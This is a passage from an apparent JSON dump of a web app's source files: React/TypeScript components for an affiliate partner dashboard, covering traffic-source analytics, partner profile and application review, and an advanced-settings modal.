)}`}\n                    className={cn(\n                      \"text-content-default flex items-center justify-between gap-4 text-xs font-medium tabular-nums transition-[colors,opacity]\",\n                      \"rounded-md px-2 hover:bg-neutral-50 active:bg-neutral-100\",\n                      item.key === hoveredItem && \"text-content-emphasis\",\n                      hoveredItem && item.key !== hoveredItem && \"opacity-60\",\n                    )}\n                    onPointerEnter={() => setHoveredItem(item.key)}\n                    onPointerLeave={() =>\n                      setHoveredItem((i) => (i === item.key ? null : i))\n                    }\n                  >\n                    <div className=\"flex items-center gap-2 py-1\">\n                      <div\n                        className={cn(\n                          \"h-5 w-1 rounded-full\",\n                          item.colorClassName,\n                        )}\n                      />\n                      <span>{item.label}</span>\n                    </div>\n                    <div className=\"flex items-center gap-2\">\n                      <span>{formatPercentage(item.fraction * 100)}%</span>\n                      <span className=\"text-content-muted min-w-8 text-right\">\n                        {nFormatter(item.count, { full: item.count < 99999 })}\n                      </span>\n                    </div>\n                  </Link>\n                ))}\n              </div>\n            </div>\n          </div>\n        )}\n      </div>\n    </ProgramOverviewBlock>\n  );\n}\n\nconst formatPercentage = (value: number) => {\n  return value > 0 && value < 0.01\n    ? \"< 0.01\"\n    : nFormatter(value, { digits: 2 });\n};\n"
  },
  {
    "path": "apps/web/ui/partners/overview/blocks/traffic-sources-block.tsx",
    "content": "import { editQueryString } from \"@/lib/analytics/utils\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { AnalyticsContext } from \"@/ui/analytics/analytics-provider\";\nimport {\n  ArrowRight,\n  BlurImage,\n  Link4,\n  LoadingSpinner,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport {\n  currencyFormatter,\n  fetcher,\n  GOOGLE_FAVICON_URL,\n  nFormatter,\n} from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useContext } from \"react\";\nimport useSWR from \"swr\";\nimport { ExceededEventsLimit } from \"../exceeded-events-limit\";\nimport { ProgramOverviewBlock } from \"../program-overview-block\";\n\nexport function TrafficSourcesBlock() {\n  const { slug: workspaceSlug, exceededEvents } = useWorkspace();\n  const { program } = useProgram();\n\n  const { getQueryString } = useRouterStuff();\n\n  const { queryString } = useContext(AnalyticsContext);\n\n  const { data, isLoading, error } = useSWR<\n    {\n      referer: string;\n      leads: number;\n      saleAmount: number;\n    }[]\n  >(\n    !exceededEvents &&\n      `/api/analytics?${editQueryString(queryString, {\n        groupBy: \"referers\",\n        event: program?.primaryRewardEvent === \"lead\" ? \"leads\" : \"sales\",\n      })}`,\n    fetcher,\n  );\n\n  return (\n    <ProgramOverviewBlock\n      title={`Top traffic sources by ${program?.primaryRewardEvent === \"lead\" ? \"leads\" : \"revenue\"}`}\n      viewAllHref={`/${workspaceSlug}/program/analytics${getQueryString(\n        undefined,\n        {\n          include: [\"interval\", \"start\", \"end\"],\n        },\n      )}`}\n    >\n      <div className=\"divide-border-subtle @2xl:h-60 flex h-auto flex-col divide-y\">\n        {exceededEvents ? (\n          <ExceededEventsLimit />\n        ) : isLoading ? (\n          <div className=\"flex size-full items-center justify-center py-4\">\n            <LoadingSpinner />\n          </div>\n        ) : error ? (\n          <div className=\"text-content-subtle flex size-full items-center justify-center py-4 text-xs\">\n            Failed to load data\n          </div>\n        ) : data?.length === 0 ? (\n          <div className=\"text-content-subtle flex size-full items-center justify-center py-4 text-xs\">\n            No traffic sources found\n          </div>\n        ) : (\n          data?.slice(0, 6).map(({ referer, leads, saleAmount }) => (\n            <Link\n              key={referer}\n              href={`/${workspaceSlug}/program/analytics${getQueryString(\n                { referer },\n                {\n                  include: [\"interval\", \"start\", \"end\"],\n                },\n              )}`}\n              className=\"text-content-default group flex h-10 items-center justify-between text-xs font-medium\"\n            >\n              <div className=\"flex min-w-0 items-center gap-2\">\n                {referer === \"(direct)\" ? (\n                  <Link4 className=\"size-4\" />\n                ) : (\n                  <BlurImage\n                    src={`${GOOGLE_FAVICON_URL}${referer}`}\n                    alt={`${referer} icon`}\n                    width={16}\n                    height={16}\n                    className=\"size-4 rounded-full\"\n                  />\n                )}\n                <span className=\"min-w-0 truncate\">\n                  {referer === \"(direct)\" ? \"Direct\" : referer}\n                </span>\n                <ArrowRight className=\"text-content-emphasis size-2.5 -translate-x-0.5 opacity-0 transition-[opacity,transform] group-hover:translate-x-0 group-hover:opacity-100 [&_*]:stroke-2\" />\n              </div>\n\n              <span>\n                {program?.primaryRewardEvent === \"lead\"\n                  ? nFormatter(leads, { full: true })\n                  : currencyFormatter(saleAmount)}\n              </span>\n            </Link>\n          ))\n        )}\n      </div>\n    </ProgramOverviewBlock>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/overview/exceeded-events-limit.tsx",
    "content": "\"use client\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Lock } from \"@dub/ui\";\nimport Link from \"next/link\";\n\nexport function ExceededEventsLimit() {\n  const { slug } = useWorkspace();\n  return (\n    <div className=\"mx-auto flex size-full max-w-xs flex-col items-center justify-center gap-2\">\n      <Lock className=\"text-content-subtle size-6\" />\n      <h1 className=\"text-content-emphasis text-sm font-medium\">\n        Stats Locked\n      </h1>\n      <p className=\"text-content-subtle text-center text-sm\">\n        You have exceeded the events limit on your current plan.{\" \"}\n        <Link\n          href={`/${slug}/settings/billing`}\n          className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2 transition-colors\"\n        >\n          Upgrade to keep using Dub.\n        </Link>\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/overview/program-overview-block.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { PropsWithChildren, ReactNode } from \"react\";\nimport { ButtonLink } from \"../../placeholders/button-link\";\nimport { ProgramOverviewCard } from \"./program-overview-card\";\n\nexport function ProgramOverviewBlock({\n  title,\n  viewAllHref,\n  className,\n  contentClassName,\n  children,\n}: PropsWithChildren<{\n  title: ReactNode;\n  viewAllHref?: string;\n  className?: string;\n  contentClassName?: string;\n}>) {\n  return (\n    <ProgramOverviewCard className={cn(\"flex h-full flex-col py-6\", className)}>\n      <div className=\"flex justify-between gap-3 px-6\">\n        <h2 className=\"text-content-emphasis text-sm font-medium\">{title}</h2>\n        {viewAllHref && (\n          <ButtonLink\n            href={viewAllHref}\n            variant=\"secondary\"\n            className=\"-mr-1 -mt-1 h-7 px-2 text-sm\"\n          >\n            View all\n          </ButtonLink>\n        )}\n      </div>\n      <div className={cn(\"mt-4 grow px-6\", contentClassName)}>{children}</div>\n    </ProgramOverviewCard>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/overview/program-overview-card.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { PropsWithChildren } from \"react\";\n\nexport function ProgramOverviewCard({\n  className,\n  children,\n}: PropsWithChildren<{ className?: string }>) {\n  return (\n    <div\n      className={cn(\n        \"border-border-subtle rounded-[0.625rem] border bg-white\",\n        className,\n      )}\n    >\n      {children}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-about.tsx",
    "content": "\"use client\";\n\nimport {\n  industryInterestsMap,\n  monthlyTrafficAmountsMap,\n  preferredEarningStructuresMap,\n  salesChannelsMap,\n} from \"@/lib/partners/partner-profile\";\nimport { EnrolledPartnerExtendedProps } from \"@/lib/types\";\nimport { PartnerPlatformSummary } from \"@/ui/partners/partner-platform-summary\";\nimport { Icon, InfoTooltip } from \"@dub/ui\";\n\nexport function PartnerAbout({\n  partner,\n  error,\n}: {\n  partner?: Pick<\n    EnrolledPartnerExtendedProps,\n    | \"description\"\n    | \"industryInterests\"\n    | \"salesChannels\"\n    | \"preferredEarningStructures\"\n    | \"monthlyTraffic\"\n    | \"platforms\"\n  >;\n  error?: any;\n}) {\n  return partner ? (\n    <>\n      <div className=\"flex flex-col gap-2\">\n        <h3 className=\"text-content-emphasis text-sm font-semibold\">\n          Description\n        </h3>\n        <p className=\"text-content-default max-w-prose text-sm\">\n          {partner.description || (\n            <span className=\"italic text-neutral-400\">\n              No description provided\n            </span>\n          )}\n        </p>\n      </div>\n\n      <div className=\"flex flex-col gap-2\">\n        <h3 className=\"text-content-emphasis text-sm font-semibold\">\n          Website and socials\n        </h3>\n        <PartnerPlatformSummary\n          platforms={partner.platforms}\n          showLabels={false}\n          className=\"gap-y-2\"\n        />\n      </div>\n\n      {Boolean(partner.industryInterests?.length) && (\n        <div className=\"flex flex-col gap-2\">\n          <h3 className=\"text-content-emphasis text-xs font-semibold\">\n            Industry interests\n          </h3>\n          <div className=\"flex flex-wrap gap-1\">\n            {partner.industryInterests?.map((interest) => {\n              const data = industryInterestsMap[interest];\n              if (!data) return null;\n              return <ListPill key={interest} {...data} />;\n            })}\n          </div>\n        </div>\n      )}\n\n      {Boolean(partner.salesChannels?.length) && (\n        <div className=\"flex flex-col gap-2\">\n          <h3 className=\"text-content-emphasis text-xs font-semibold\">\n            Sales channels\n          </h3>\n          <div className=\"flex flex-wrap gap-1\">\n            {partner.salesChannels?.map((salesChannel) => {\n              const data = salesChannelsMap[salesChannel];\n              if (!data) return null;\n              return <ListPill key={salesChannel} {...data} />;\n            })}\n          </div>\n        </div>\n      )}\n\n      {Boolean(partner.preferredEarningStructures?.length) && (\n        <div className=\"flex flex-col gap-2\">\n          <h3 className=\"text-content-emphasis text-xs font-semibold\">\n            Preferred rewards\n          </h3>\n          <div className=\"flex flex-wrap gap-1\">\n            {partner.preferredEarningStructures?.map((earningStructure) => {\n              const data = preferredEarningStructuresMap[earningStructure];\n              if (!data) return null;\n              return <ListPill key={earningStructure} {...data} />;\n            })}\n          </div>\n        </div>\n      )}\n\n      {Boolean(partner.monthlyTraffic) && (\n        <div className=\"flex flex-col gap-2\">\n          <div className=\"flex items-center gap-1\">\n            <h3 className=\"text-content-emphasis text-xs font-semibold\">\n              Monthly traffic\n            </h3>\n            <InfoTooltip content=\"Shared by the partner, not verified by Dub.\" />\n          </div>\n          <span className=\"text-content-default text-xs\">\n            {monthlyTrafficAmountsMap[partner.monthlyTraffic!]?.label ?? \"-\"}\n          </span>\n        </div>\n      )}\n    </>\n  ) : error ? (\n    <div className=\"flex justify-center py-16\">\n      <span className=\"text-content-subtle text-sm\">\n        Failed to load partner details\n      </span>\n    </div>\n  ) : (\n    [...Array(4)].map((_, index) => (\n      <div key={index} className=\"flex flex-col gap-2\">\n        <div className=\"h-4 w-20 animate-pulse rounded-md bg-neutral-200\" />\n        <div className=\"h-4 w-40 animate-pulse rounded-md bg-neutral-200\" />\n      </div>\n    ))\n  );\n}\n\nfunction ListPill({ icon: Icon, label }: { icon?: Icon; label: string }) {\n  return (\n    <div className=\"flex h-7 items-center gap-1.5 rounded-full bg-neutral-100 px-2\">\n      {Icon && <Icon className=\"text-content-emphasis size-3\" />}\n      <span className=\"text-content-default text-xs font-medium\">{label}</span>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-advanced-settings-modal.tsx",
    "content": "import { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport { updatePartnerEnrollmentAction } from \"@/lib/actions/partners/update-partner-enrollment\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  EnrolledPartnerExtendedProps,\n  EnrolledPartnerProps,\n} from \"@/lib/types\";\nimport { Button, CircleInfo, Modal, Switch } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { MarkdownDescription } from \"../shared/markdown-description\";\n\ntype FormData = {\n  tenantId: string | null;\n  customerDataSharingEnabledAt: Date | null;\n  groupMoveDisabledAt: Date | null;\n};\n\nfunction PartnerAdvancedSettingsModal({\n  showPartnerAdvancedSettingsModal,\n  setShowPartnerAdvancedSettingsModal,\n  partner,\n}: {\n  showPartnerAdvancedSettingsModal: boolean;\n  setShowPartnerAdvancedSettingsModal: Dispatch<SetStateAction<boolean>>;\n  partner: Pick<\n    EnrolledPartnerExtendedProps,\n    \"id\" | \"tenantId\" | \"customerDataSharingEnabledAt\" | \"groupMoveDisabledAt\"\n  >;\n}) {\n  const { id: workspaceId, plan } = useWorkspace();\n  const { canUseGroupMoveRule } = getPlanCapabilities(plan);\n\n  const [hasCustomerDataSharing, setHasCustomerDataSharing] = useState(\n    !!partner.customerDataSharingEnabledAt,\n  );\n\n  const [hasGroupMoveDisabled, setHasGroupMoveDisabled] = useState(\n    !!partner.groupMoveDisabledAt,\n  );\n\n  const { executeAsync } = useAction(updatePartnerEnrollmentAction, {\n    onSuccess: async () => {\n      toast.success(`Partner updated successfully!`);\n      setShowPartnerAdvancedSettingsModal(false);\n      mutatePrefix(\"/api/partners\");\n    },\n  });\n\n  const {\n    register,\n    setValue,\n    setError,\n    handleSubmit,\n    formState: { errors, isSubmitting, isSubmitSuccessful, isDirty },\n  } = useForm<FormData>({\n    defaultValues: {\n      tenantId: partner.tenantId,\n      customerDataSharingEnabledAt: partner.customerDataSharingEnabledAt,\n      groupMoveDisabledAt: partner.groupMoveDisabledAt ?? null,\n    },\n  });\n\n  const handleCustomerDataSharingToggle = (checked: boolean) => {\n    setHasCustomerDataSharing(checked);\n    setValue(\"customerDataSharingEnabledAt\", checked ? new Date() : null, {\n      shouldDirty: true,\n      shouldValidate: true,\n    });\n  };\n\n  const handleGroupMoveDisabledToggle = (checked: boolean) => {\n    setHasGroupMoveDisabled(checked);\n    setValue(\"groupMoveDisabledAt\", checked ? new Date() : null, {\n      shouldDirty: true,\n      shouldValidate: true,\n    });\n  };\n\n  return (\n    <Modal\n      showModal={showPartnerAdvancedSettingsModal}\n      setShowModal={setShowPartnerAdvancedSettingsModal}\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          Edit advanced settings\n        </h3>\n      </div>\n\n      <form\n        onSubmit={handleSubmit(async (data) => {\n          const result = await executeAsync({\n            workspaceId: workspaceId!,\n            partnerId: partner.id,\n            tenantId: data.tenantId || null,\n            customerDataSharingEnabledAt: data.customerDataSharingEnabledAt,\n            groupMoveDisabledAt: data.groupMoveDisabledAt,\n          });\n\n          if (result?.serverError || result?.validationErrors) {\n            setError(\"root.serverError\", {\n              message: \"Failed to submit application\",\n            });\n            toast.error(parseActionError(result, \"Failed to update partner\"));\n          }\n        })}\n      >\n        <div className=\"scrollbar-hide max-h-[calc(100dvh-250px)] overflow-y-auto bg-neutral-50 p-4 sm:p-6\">\n          {/* Tenant ID */}\n          <div>\n            <label>\n              <span className=\"text-sm font-medium text-neutral-800\">\n                Partner{\" \"}\n                <span className=\"rounded-md bg-neutral-200 px-1 py-0.5\">\n                  tenantId\n                </span>\n              </span>\n              <input\n                type=\"text\"\n                className={cn(\n                  \"mt-1.5 block w-full rounded-md border border-neutral-300 px-3 py-2 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.tenantId &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                {...register(\"tenantId\")}\n                placeholder=\"partner_123\"\n              />\n            </label>\n\n            <p className=\"mt-1.5 text-xs text-amber-600\">\n              <CircleInfo className=\"mr-1 inline-block size-3 -translate-y-px\" />\n              This will also update the{\" \"}\n              <span className=\"rounded-md bg-orange-100 px-1 py-px\">\n                tenantId\n              </span>{\" \"}\n              field for the partner's links\n            </p>\n          </div>\n\n          {/* Customer Data Sharing */}\n          <div className=\"mt-6\">\n            <div className=\"flex items-start gap-3\">\n              <Switch\n                fn={handleCustomerDataSharingToggle}\n                checked={hasCustomerDataSharing}\n                trackDimensions=\"w-8 h-4\"\n                thumbDimensions=\"w-3 h-3\"\n                thumbTranslate=\"translate-x-4\"\n              />\n              <div className=\"flex flex-col gap-1.5\">\n                <h3 className=\"text-sm font-medium leading-none text-neutral-700\">\n                  Enable customer data sharing\n                </h3>\n                <p className=\"text-xs text-neutral-500\">\n                  Allow this partner to access customer data and analytics\n                </p>\n              </div>\n            </div>\n          </div>\n\n          {canUseGroupMoveRule && (\n            <div className=\"mt-6\">\n              <div className=\"flex items-start gap-3\">\n                <Switch\n                  fn={handleGroupMoveDisabledToggle}\n                  checked={hasGroupMoveDisabled}\n                  trackDimensions=\"w-8 h-4\"\n                  thumbDimensions=\"w-3 h-3\"\n                  thumbTranslate=\"translate-x-4\"\n                />\n                <div className=\"flex flex-col gap-1.5\">\n                  <h3 className=\"text-sm font-medium leading-none text-neutral-700\">\n                    Ignore group move rules\n                  </h3>\n                  <MarkdownDescription className=\"text-xs text-neutral-500\">\n                    When enabled, this partner will remain in their current\n                    group and won't be subject to [group move\n                    rules](https://dub.co/help/article/partner-groups#group-move-rules).\n                  </MarkdownDescription>\n                </div>\n              </div>\n            </div>\n          )}\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowPartnerAdvancedSettingsModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            loading={isSubmitting || isSubmitSuccessful}\n            text=\"Save changes\"\n            className=\"h-8 w-fit px-3\"\n            disabled={!isDirty}\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function usePartnerAdvancedSettingsModal({\n  partner,\n}: {\n  partner: EnrolledPartnerProps;\n}) {\n  const [\n    showPartnerAdvancedSettingsModal,\n    setShowPartnerAdvancedSettingsModal,\n  ] = useState(false);\n\n  const PartnerAdvancedSettingsModalCallback = useCallback(() => {\n    return (\n      <PartnerAdvancedSettingsModal\n        showPartnerAdvancedSettingsModal={showPartnerAdvancedSettingsModal}\n        setShowPartnerAdvancedSettingsModal={\n          setShowPartnerAdvancedSettingsModal\n        }\n        partner={partner}\n      />\n    );\n  }, [\n    showPartnerAdvancedSettingsModal,\n    setShowPartnerAdvancedSettingsModal,\n    partner,\n  ]);\n\n  return useMemo(\n    () => ({\n      setShowPartnerAdvancedSettingsModal,\n      PartnerAdvancedSettingsModal: PartnerAdvancedSettingsModalCallback,\n    }),\n    [setShowPartnerAdvancedSettingsModal, PartnerAdvancedSettingsModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-application-details.tsx",
    "content": "import useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramApplication } from \"@dub/prisma/client\";\nimport { fetcher } from \"@dub/utils\";\nimport Linkify from \"linkify-react\";\nimport useSWRImmutable from \"swr/immutable\";\nimport { formatApplicationFormData } from \"../../lib/partners/format-application-form-data\";\n\nexport function PartnerApplicationDetails({\n  applicationId,\n}: {\n  applicationId: string;\n}) {\n  const { id: workspaceId } = useWorkspace();\n  const { program } = useProgram();\n\n  const { data: application, isLoading } = useSWRImmutable<ProgramApplication>(\n    program &&\n      workspaceId &&\n      `/api/programs/${program.id}/applications/${applicationId}?workspaceId=${workspaceId}`,\n    fetcher,\n  );\n\n  let content;\n\n  if (isLoading || !application) {\n    return <PartnerApplicationDetailsSkeleton />;\n  }\n\n  const fields = formatApplicationFormData(application);\n\n  content = (\n    <>\n      {fields.map((field) => (\n        <div key={field.title}>\n          <h4 className=\"text-content-emphasis font-semibold\">{field.title}</h4>\n          <div className=\"mt-2\">\n            {field.images && field.images.length > 0 ? (\n              <ApplicationFormImageGrid\n                images={field.images}\n                fieldTitle={field.title}\n              />\n            ) : field.value || field.value === \"\" ? (\n              <Linkify\n                as=\"p\"\n                options={{\n                  target: \"_blank\",\n                  rel: \"noopener noreferrer nofollow\",\n                  className:\n                    \"underline underline-offset-4 text-sm max-w-prose text-neutral-400 hover:text-neutral-700\",\n                }}\n              >\n                {field.value || (\n                  <span className=\"text-content-muted italic\">\n                    No response provided\n                  </span>\n                )}\n              </Linkify>\n            ) : (\n              <div className=\"h-4 w-28 min-w-0 animate-pulse rounded-md bg-neutral-200\" />\n            )}\n          </div>\n        </div>\n      ))}\n    </>\n  );\n\n  return <div className=\"grid grid-cols-1 gap-5 text-sm\">{content}</div>;\n}\n\nfunction ApplicationFormImageGrid({\n  images,\n  fieldTitle,\n}: {\n  images: string[];\n  fieldTitle: string;\n}) {\n  return (\n    <div className=\"flex flex-wrap gap-4\">\n      {images.map((imageUrl, idx) => (\n        <a\n          key={idx}\n          className=\"border-border-subtle hover:border-border-default group relative flex size-14 items-center justify-center rounded-md border bg-white\"\n          target=\"_blank\"\n          href={imageUrl}\n          rel=\"noopener noreferrer\"\n        >\n          <div className=\"relative size-full overflow-hidden rounded-md\">\n            <img\n              src={imageUrl}\n              alt={`${fieldTitle} ${idx + 1}`}\n              className=\"size-full object-cover\"\n            />\n          </div>\n          <span className=\"sr-only\">\n            {fieldTitle} image {idx + 1}\n          </span>\n        </a>\n      ))}\n    </div>\n  );\n}\n\nfunction PartnerApplicationDetailsSkeleton() {\n  return (\n    <div className=\"grid grid-cols-1 gap-5\">\n      {[...Array(3)].map((_, idx) => (\n        <div key={idx}>\n          <h4 className=\"text-content-emphasis font-semibold\" />\n          <div className=\"h-5 w-32 animate-pulse rounded-md bg-neutral-200\" />\n\n          <div className=\"mt-2\">\n            <div className=\"h-4 w-28 min-w-0 animate-pulse rounded-md bg-neutral-200\" />\n          </div>\n        </div>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/partner-application-sheet.tsx",
    "content": "import { approvePartnerAction } from \"@/lib/actions/partners/approve-partner\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps } from \"@/lib/types\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { useRejectPartnerApplicationModal } from \"@/ui/modals/reject-partner-application-modal\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  ChevronLeft,\n  ChevronRight,\n  Msgs,\n  Sheet,\n  useKeyboardShortcut,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { Dispatch, SetStateAction, useEffect, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { PartnerAbout } from \"./partner-about\";\nimport { PartnerApplicationDetails } from \"./partner-application-details\";\nimport { PartnerComments } from \"./partner-comments\";\nimport { PartnerInfoCards } from \"./partner-info-cards\";\nimport { PartnerSheetTabs } from \"./partner-sheet-tabs\";\n\ntype PartnerApplicationSheetProps = {\n  partner: EnrolledPartnerProps;\n  onNext?: () => void;\n  onPrevious?: () => void;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n};\n\nfunction PartnerApplicationSheetContent({\n  partner,\n  onPrevious,\n  onNext,\n  setIsOpen,\n}: PartnerApplicationSheetProps) {\n  const { slug: workspaceSlug } = useWorkspace();\n  const [currentTabId, setCurrentTabId] = useState<string>(\"about\");\n\n  const [selectedGroupId, setSelectedGroupId] = useState<string | null>(\n    partner.groupId ?? null,\n  );\n\n  // right arrow key onNext\n  useKeyboardShortcut(\n    \"ArrowRight\",\n    () => {\n      if (onNext) {\n        onNext();\n      }\n    },\n    { sheet: true },\n  );\n\n  // left arrow key onPrevious\n  useKeyboardShortcut(\n    \"ArrowLeft\",\n    () => {\n      if (onPrevious) {\n        onPrevious();\n      }\n    },\n    { sheet: true },\n  );\n\n  // Reset selection when navigating between partners\n  useEffect(() => {\n    setSelectedGroupId(partner.groupId ?? null);\n  }, [partner.groupId]);\n\n  return (\n    <div className=\"flex size-full flex-col\">\n      <div className=\"flex h-16 shrink-0 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n        <Sheet.Title className=\"text-lg font-semibold\">\n          Partner application\n        </Sheet.Title>\n        <div className=\"flex items-center gap-4\">\n          <Link\n            href={`/${workspaceSlug}/program/messages/${partner.id}`}\n            target=\"_blank\"\n          >\n            <Button\n              variant=\"secondary\"\n              text=\"Message\"\n              icon={<Msgs className=\"size-4 shrink-0\" />}\n              className=\"hidden h-9 rounded-lg px-4 sm:flex\"\n            />\n          </Link>\n          <div className=\"flex items-center\">\n            <Button\n              type=\"button\"\n              disabled={!onPrevious}\n              onClick={onPrevious}\n              variant=\"secondary\"\n              className=\"size-9 rounded-l-lg rounded-r-none p-0\"\n              icon={<ChevronLeft className=\"size-3.5\" />}\n            />\n            <Button\n              type=\"button\"\n              disabled={!onNext}\n              onClick={onNext}\n              variant=\"secondary\"\n              className=\"-ml-px size-9 rounded-l-none rounded-r-lg p-0\"\n              icon={<ChevronRight className=\"size-3.5\" />}\n            />\n          </div>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n      </div>\n\n      <div className=\"@3xl/sheet:grid-cols-[minmax(440px,1fr)_minmax(0,360px)] scrollbar-hide grid min-h-0 grow grid-cols-1 gap-x-6 gap-y-4 overflow-y-auto p-4 sm:p-6\">\n        <div className=\"@3xl/sheet:order-2\">\n          <PartnerInfoCards\n            partner={partner}\n            hideStatuses={[\"pending\"]}\n            {...(partner.status === \"rejected\" && {\n              selectedGroupId,\n              setSelectedGroupId,\n            })}\n            showApplicationRiskAnalysis={true}\n          />\n        </div>\n        <div className=\"@3xl/sheet:order-1\">\n          <div className=\"border-border-subtle overflow-hidden rounded-xl border bg-neutral-100\">\n            <PartnerSheetTabs\n              partnerId={partner.id}\n              currentTabId={currentTabId}\n              setCurrentTabId={setCurrentTabId}\n            />\n            <div className=\"border-border-subtle -mx-px -mb-px rounded-xl border bg-white p-4\">\n              {currentTabId === \"about\" && (\n                <PartnerApplicationAbout partner={partner} />\n              )}\n              {currentTabId === \"comments\" && (\n                <PartnerApplicationComments partnerId={partner.id} />\n              )}\n            </div>\n          </div>\n        </div>\n      </div>\n\n      {[\"pending\", \"rejected\"].includes(partner.status) && (\n        <div className=\"shrink-0 border-t border-neutral-200 p-5\">\n          <PartnerApproval\n            key={partner.id} // Reset when navigating between partners to avoid memoized action callback issues\n            partner={partner}\n            groupId={\n              partner.status === \"rejected\" ? selectedGroupId : partner.groupId\n            }\n            setIsOpen={setIsOpen}\n            onNext={onNext}\n          />\n        </div>\n      )}\n    </div>\n  );\n}\n\nfunction PartnerApplicationAbout({\n  partner,\n}: {\n  partner: EnrolledPartnerProps;\n}) {\n  return (\n    <div className=\"grid grid-cols-1 gap-5 text-sm text-neutral-600\">\n      {partner.applicationId && (\n        <>\n          <h3 className=\"text-content-emphasis text-lg font-semibold\">\n            Application\n          </h3>\n          <PartnerApplicationDetails applicationId={partner.applicationId} />\n          <hr className=\"border-neutral-200\" />\n        </>\n      )}\n      <PartnerAbout partner={partner} />\n    </div>\n  );\n}\n\nfunction PartnerApplicationComments({ partnerId }: { partnerId: string }) {\n  return (\n    <div>\n      <h3 className=\"text-content-emphasis text-lg font-semibold\">Comments</h3>\n      <PartnerComments partnerId={partnerId} />\n    </div>\n  );\n}\n\nexport function PartnerApplicationSheet({\n  isOpen,\n  nested,\n  ...rest\n}: PartnerApplicationSheetProps & {\n  isOpen: boolean;\n  nested?: boolean;\n}) {\n  const { queryParams } = useRouterStuff();\n  return (\n    <Sheet\n      open={isOpen}\n      onOpenChange={rest.setIsOpen}\n      onClose={() => queryParams({ del: \"partnerId\", scroll: false })}\n      nested={nested}\n      contentProps={{\n        // 540px - 1170px width based on viewport\n        className: \"md:w-[max(min(calc(100vw-334px),1170px),540px)]\",\n      }}\n    >\n      <PartnerApplicationSheetContent {...rest} />\n    </Sheet>\n  );\n}\n\nfunction PartnerApproval({\n  partner,\n  groupId,\n  setIsOpen,\n  onNext,\n}: {\n  partner: EnrolledPartnerProps;\n  groupId?: string | null;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  onNext?: () => void;\n}) {\n  const { id: workspaceId } = useWorkspace();\n  const { program } = useProgram();\n\n  const { executeAsync, isPending } = useAction(approvePartnerAction, {\n    onSuccess: () => {\n      onNext ? onNext() : setIsOpen(false);\n      toast.success(`Successfully approved ${partner.email} to your program.`);\n      mutatePrefix(\"/api/partners\");\n    },\n    onError({ error }) {\n      toast.error(error.serverError || \"Failed to approve partner.\");\n    },\n  });\n\n  const { setShowConfirmModal, confirmModal } = useConfirmModal({\n    title: \"Approve Partner\",\n    description: \"Are you sure you want to approve this partner application?\",\n    confirmText: \"Approve\",\n    confirmShortcut: \"a\",\n    confirmShortcutOptions: { sheet: true, modal: true },\n    onConfirm: async () => {\n      if (!program || !workspaceId) return;\n\n      await executeAsync({\n        workspaceId: workspaceId,\n        partnerId: partner.id,\n        groupId,\n      });\n    },\n  });\n\n  useKeyboardShortcut(\"a\", () => setShowConfirmModal(true), { sheet: true });\n\n  return (\n    <>\n      {confirmModal}\n      <div className=\"flex justify-end gap-2\">\n        {partner.status !== \"rejected\" && (\n          <div className=\"flex-shrink-0\">\n            <PartnerRejectButton\n              partner={partner}\n              setIsOpen={setIsOpen}\n              onNext={onNext}\n            />\n          </div>\n        )}\n        <Button\n          type=\"button\"\n          variant=\"primary\"\n          text=\"Approve\"\n          shortcut=\"A\"\n          loading={isPending}\n          onClick={() => setShowConfirmModal(true)}\n          className=\"w-fit shrink-0\"\n        />\n      </div>\n    </>\n  );\n}\n\nfunction PartnerRejectButton({\n  partner,\n  setIsOpen,\n  onNext,\n}: {\n  partner: EnrolledPartnerProps;\n  